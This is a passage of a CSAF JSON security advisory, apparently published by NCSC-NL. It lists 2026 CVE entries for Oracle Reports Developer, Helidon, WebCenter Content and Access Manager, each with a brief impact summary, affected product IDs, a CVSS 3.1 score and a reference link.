"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62635 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62635.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62635"
},
{
"cve": "CVE-2026-62636",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to gain unauthorized access, modify data, or cause partial denial of service via SOAP, with a CVSS 3.1 base score of 8.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62636 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62636.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62636"
},
{
"cve": "CVE-2026-62637",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to manipulate critical data, rated with a CVSS 3.1 base score of 9.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62637 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62637.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62637"
},
{
"cve": "CVE-2026-62638",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to modify or delete data and cause denial of service, with a CVSS 3.1 base score of 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62638 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62638.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62638"
},
{
"cve": "CVE-2026-62639",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise systems via CORBA, with a CVSS 3.1 base score of 9.8 indicating severe impacts on confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62639 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62639.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62639"
},
{
"cve": "CVE-2026-62640",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 via IIOP has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62640 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62640.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62640"
},
{
"cve": "CVE-2026-70668",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated network attackers via SOAP to create, delete, or modify critical data, with a CVSS 3.1 base score of 9.1 indicating high confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70668 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70668.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70668"
},
{
"cve": "CVE-2026-70669",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70669 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70669.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70669"
},
{
"cve": "CVE-2026-70670",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to fully compromise the product, with a CVSS 3.1 base score of 9.6 indicating severe risks to confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70670 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70670.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.6,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70670"
},
{
"cve": "CVE-2026-70671",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Reports Developer 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.1 indicating high confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70671 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70671.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70671"
},
{
"cve": "CVE-2026-70672",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical data, leading to unauthorized access with a CVSS 3.1 base score of 7.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70672 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70672.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.4,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70672"
},
{
"cve": "CVE-2026-70673",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 9.3, potentially affecting other Oracle products.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70673 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70673.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70673"
},
{
"cve": "CVE-2026-70674",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to fully compromise the product, rated with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70674 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70674.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70674"
},
{
"cve": "CVE-2026-70675",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated remote attackers to potentially compromise confidentiality, integrity, and availability via HTTP, with a CVSS 3.1 base score of 8.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70675 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70675.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70675"
},
{
"cve": "CVE-2026-70716",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 Imperative Web Server allows unauthenticated network attackers via HTTP to modify or delete critical data, with a CVSS 3.1 base score of 5.9 indicating moderate integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70716 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70716.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70716"
},
{
"cve": "CVE-2026-70727",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTPS network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70727 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70727.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70727"
},
{
"cve": "CVE-2026-70858",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, read access, and partial denial of service, with a CVSS 3.1 score of 7.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70858 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70858.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70858"
},
{
"cve": "CVE-2026-70905",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Access Manager 12.2.1.4.0 and 14.1.2.1.0 enables unauthenticated attackers to exploit SAML access, with a CVSS 3.1 base score of 9.8 indicating severe impacts on confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70905 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70905.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70905"
},
{
"cve": "CVE-2026-70908",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers to cause denial of service by crashing or hanging the Imperative Web Server, with a CVSS 3.1 base score of 7.5 due to availability impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70908 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70908.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
